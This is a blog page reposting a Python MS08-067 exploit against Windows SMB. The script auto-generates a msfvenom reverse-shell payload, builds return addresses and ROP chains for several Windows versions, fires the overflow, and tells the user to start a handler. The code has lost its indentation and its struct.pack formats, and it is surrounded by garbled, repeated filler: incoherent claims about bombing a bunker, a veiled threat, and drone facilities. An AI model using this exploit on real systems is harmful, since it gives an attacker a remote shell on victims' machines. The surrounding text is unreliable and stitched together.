BLACK MASK: 09/13/19

Friday, September 13, 2019

2019 SEH Buffer Overflow Exploit drones attack hack folder

Updated ms08-67 exploit without custom netcat listener.

#!/usr/bin/python

###############################################################################################

#   MS08-067 Exploit - Auto Reverse NetCat Payload Mod by 3mrgnc3                             #

#   Designed for Kali Linux - msfvenom and nc required to function                            #

#   Based on Ported Exploit By EKOZ https://github.com/jivoi https://jivoi.github.io/         #

#   Modified verion of Debasis Mohanty\'s code (https://www.exploit-db.com/exploits/7132/).   #

#   The ret addr & ROP parts are ported from MSF Module exploit/windows/smb/ms08_067_netapi   #

###############################################################################################

import struct

import time

import sys

import subprocess   # Added to integrate msfvenom payload generation functionality

from threading import Thread    #Thread is imported incase you would like to modify

try:

from impacket import smb

from impacket import uuid

from impacket import dcerpc

from impacket.dcerpc.v5 import transport

except ImportError, _:

print 'Install the following library to make this script work'

print 'Impacket : http://oss.coresecurity.com/projects/impacket.html'

print 'PyCrypto : http://www.amk.ca/python/code/crypto.html'

sys.exit(1)

if __name__ == '__main__':

try:

target = sys.argv[1]

os = sys.argv[2]

lhost = sys.argv[3]

lport = sys.argv[4]

except IndexError:

print ''

print ' ____________________________________________'

print ' | |'

print ' | MS08-067 Exploit - Auto NC mod by 3mrgnc3 |'

print ' | Based On Ported MSF Exploit By EKOZ |'

print ' |____________________________________________|'

print ' | |'

print ' | USAGE |'

print ' | MS08-067.py |'

print ' | eg: MS08-067.py 10.1.1.1 3 10.2.2.2 53 |'

print ' |____________________________________________|'

print ' | |'

print ' | TARGET OS SELECTION |'

print ' | 1 = Windows XP SP0/SP1 Universal |'

print ' | 2 = Windows 2000 Universal |'

print ' | 3 = Windows 2003 SP0 Universal |'

print ' | 4 = Windows 2003 SP1 English |'

print ' | 5 = Windows XP SP3 French (NX) |'

print ' | 6 = Windows XP SP3 English (NX) |'

print ' | 7 = Windows XP SP3 English (AlwaysOn NX) |'

print ' |____________________________________________|\r\n'

        print ' I suggest you use a stageless payload to avoid issues with the handler.'

sys.exit(-1)

#badchars \x00\x0a\x0d\x5c\x5f\x2f\x2e\x40;

#Make sure there are enough nops at the begining for the decoder to work. Payload size: 380 bytes

#EXITFUNC=thread Important!

# msfvenom -p windows/shell_reverse_tcp --nopsled=32 LHOST=10.11.0.225 LPORT=53  EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f python

# Auto Generate Reverse Shell Payload Using msfvenom

mksh = "msfvenom -p windows/shell_reverse_tcp"

mksh += " -b \'\\x00\\x0a\\x0d\\x5c\\x5f\\x2f\\x2e\\x40\'"

mksh += " -e x86/call4_dword_xor"

mksh += " EXITFUNC=thread"

mksh += " --nopsled=32"

mksh += " LHOST="+lhost

mksh += " LPORT="+lport

mksh += " -f python "

mksh += " -a x86"

mksh += " -o RevPld.py"

print ' ____________________________________________'

print ' | |'

print ' | MS08-067 Exploit - Auto NC mod by 3mrgnc3 |'

print ' | Based On Ported MSF Exploit By EKOZ |'

print ' |____________________________________________|\r\n'

try:

print "[+] Attempting To Generate Reverse Shell Payload ..."

vnm = subprocess.Popen(mksh.split(), stdout=subprocess.PIPE)

vnm.wait()

print "[+] Reverse Shell Payload Generated Successfully..."

except:

print "[!] ERROR: Couldn't Generate Payload "

sys.exit(-1)

from RevPld import buf

nops = "\x90"*30

nonxjmper = "\x08\x04\x02\x00%s"+"A"*4+"%s"+"A"*42+"\x90"*8+"\xeb\x62"+"A"*10

disableNXjumper = "\x08\x04\x02\x00%s%s%s"+"A"*28+"%s"+"\xeb\x02"+"\x90"*2+"\xeb\x62"

ropjumper = "\x00\x08\x01\x00"+"%s"+"\x10\x01\x04\x01";

module_base = 0x6f880000

def generate_rop(rvas):

gadget1="\x90\x5a\x59\xc3"

gadget2 = ["\x90\x89\xc7\x83", "\xc7\x0c\x6a\x7f", "\x59\xf2\xa5\x90"]

gadget3="\xcc\x90\xeb\x5a"

ret=struct.pack(''

, 0x00018000)

ret+=struct.pack(''

, rvas['call_HeapCreate']+module_base)

ret+=struct.pack(''

, 0x01040110)

ret+=struct.pack(''

, 0x01010101)

ret+=struct.pack(''

, 0x01010101)

ret+=struct.pack(''

, rvas['add eax, ebp / mov ecx, 0x59ffffa8 / ret']+module_base)

ret+=struct.pack(''

, rvas['pop ecx / ret']+module_base)

ret+=gadget1

ret+=struct.pack(''

, rvas['mov [eax], ecx / ret']+module_base)

ret+=struct.pack(''

, rvas['jmp eax']+module_base)

ret+=gadget2[0]

ret+=gadget2[1]

ret+=struct.pack(''

, rvas['mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret']+module_base)

ret+=struct.pack(''

, rvas['pop ecx / ret']+module_base)

ret+=gadget2[2]

ret+=struct.pack(''

, rvas['mov [eax+0x10], ecx / ret']+module_base)

ret+=struct.pack(''

, rvas['add eax, 8 / ret']+module_base)

ret+=struct.pack(''

, rvas['jmp eax']+module_base)

ret+=gadget3

return ret

class SRVSVC_Exploit(Thread):

def __init__(self, target, os, port=445):

super(SRVSVC_Exploit, self).__init__()

self.__port = port

self.target = target

self.os = os

def __DCEPacket(self):

if (self.os=='1'):

print '[+] Targeting : Windows XP SP0/SP1 Universal'

ret = "\x61\x13\x00\x01"

jumper = nonxjmper % (ret, ret)

elif (self.os=='2'):

print '[+] Targeting : Windows 2000 Universal'

ret = "\xb0\x1c\x1f\x00"

jumper = nonxjmper % (ret, ret)

elif (self.os=='3'):

print '[+] Targeting : Windows 2003 SP0 Universal'

ret = "\x9e\x12\x00\x01" #0x01 00 12 9e

jumper = nonxjmper % (ret, ret)

elif (self.os=='4'):

print '[+] Targeting : Windows 2003 SP1 English'

ret_dec = "\x8c\x56\x90\x7c" #0x7c 90 56 8c dec ESI, ret @SHELL32.DLL

            ret_pop = "\xf4\x7c\xa2\x7c"  #0x 7c a2 7c f4 push ESI, pop EBP, ret @SHELL32.DLL

jmp_esp = "\xd3\xfe\x86\x7c" #0x 7c 86 fe d3 jmp ESP @NTDLL.DLL

disable_nx = "\x13\xe4\x83\x7c" #0x 7c 83 e4 13 NX disable @NTDLL.DLL

jumper = disableNXjumper % (ret_dec*6, ret_pop, disable_nx, jmp_esp*2)

elif (self.os=='5'):

print '[+] Targeting : Windows XP SP3 French (NX)'

ret = "\x07\xf8\x5b\x59" #0x59 5b f8 07

disable_nx = "\xc2\x17\x5c\x59" #0x59 5c 17 c2

jumper = nonxjmper % (disable_nx, ret) #the nonxjmper also work in this case.

elif (self.os=='6'):

print '[+] Targeting : Windows XP SP3 English (NX)'

ret = "\x07\xf8\x88\x6f" #0x6f 88 f8 07

disable_nx = "\xc2\x17\x89\x6f" #0x6f 89 17 c2

jumper = nonxjmper % (disable_nx, ret) #the nonxjmper also work in this case.

elif (self.os=='7'):

print '[+] Targeting : Windows XP SP3 English (AlwaysOn NX)'

            rvasets = {'call_HeapCreate': 0x21286,'add eax, ebp / mov ecx, 0x59ffffa8 / ret' : 0x2e796,'pop ecx / ret':0x2e796 + 6,'mov [eax], ecx / ret':0xd296,'jmp eax':0x19c6f,'mov [eax+8], edx / mov [eax+0xc], ecx / mov [eax+0x10], ecx / ret':0x10a56,'mov [eax+0x10], ecx / ret':0x10a56 + 6,'add eax, 8 / ret':0x29c64}

jumper = generate_rop(rvasets)+"AB" #the nonxjmper also work in this case.

else:

print '[+] OS Version Not Supported\n'

sys.exit(-1)

print '[+] Initiating Connection To '+target+":445"

        self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)

self.__trans.connect()

self.__dce = self.__trans.DCERPC_class(self.__trans)

        self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))

        path  ="\x5c\x00"+"ABCDEFGHIJ"*10 + nops + buf +"\x5c\x00\x2e\x00\x2e\x00\x5c\x00\x2e\x00\x2e\x00\x5c\x00" 

        path += "\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00"  + jumper + "\x00" * 2

        server="\xde\xa4\x98\xc5\x08\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x41\x00\x42\x00\x43\x00\x44\x00\x45\x00\x46\x00\x47\x00\x00\x00"

prefix="\x02\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x5c\x00\x00\x00"

        self.__stub=server+"\x36\x01\x00\x00\x00\x00\x00\x00\x36\x01\x00\x00" + path +"\xE8\x03\x00\x00"+prefix+"\x01\x10\x00\x00\x00\x00\x00\x00"

return

def run(self):

self.__DCEPacket()

self.__dce.call(0x1f, self.__stub)

current = SRVSVC_Exploit(target, os)

current.start()

print "Now start up a multi/handler with your payload options set to: "

print "payload windows/shell_reverse_tcp" # seems to be the most stable and consistent. 

print "LHOST ", lhost

print "LPORT ", lport

to join this conversation on GitHub. Already have an account? Sign in to comment

who bomb that nuclear bunker at Louisville,ZA mr H..was Ismael...the best IDF pilot. He was at a 6 months comission, and returned monday! Missed the biggest scene ever, since 1st september 1945. And he can kill you. So...think about a stollen egg...

BLACK MASK

Friday, September 13, 2019

2019 SEH Buffer Overflow Exploit drones attack hack folder

thel3l/ms08-067-fixed.py
Created last year

who bomb that nuclear bunker at Louisville,ZA mr H..was Ismael...the best IDF pilot. He was at a 6 months comission, and returned monday! Missed the biggest scene ever, since 1st september 1945. And he can kill you. So...think about a stollen egg...

here we go again...back to war...another weekend A imagem pode conter: árvore, automóvel, céu, ar livre e natureza

Ukraine, UAV drone facility centerlication inside Ukraine Quantum system

Total Pageviews

Friday, September 13, 2019

2019 SEH Buffer Overflow Exploit drones attack hack folder

thel3l/ms08-067-fixed.py Created last year

who bomb that nuclear bunker at Louisville,ZA mr H..was Ismael...the best IDF pilot. He was at a 6 months comission, and returned monday! Missed the biggest scene ever, since 1st september 1945. And he can kill you. So...think about a stollen egg...

here we go again...back to war...another weekend A imagem pode conter: árvore, automóvel, céu, ar livre e natureza

Ukraine, UAV drone facility centerlication inside Ukraine Quantum system

thel3l/ms08-067-fixed.py
Created last year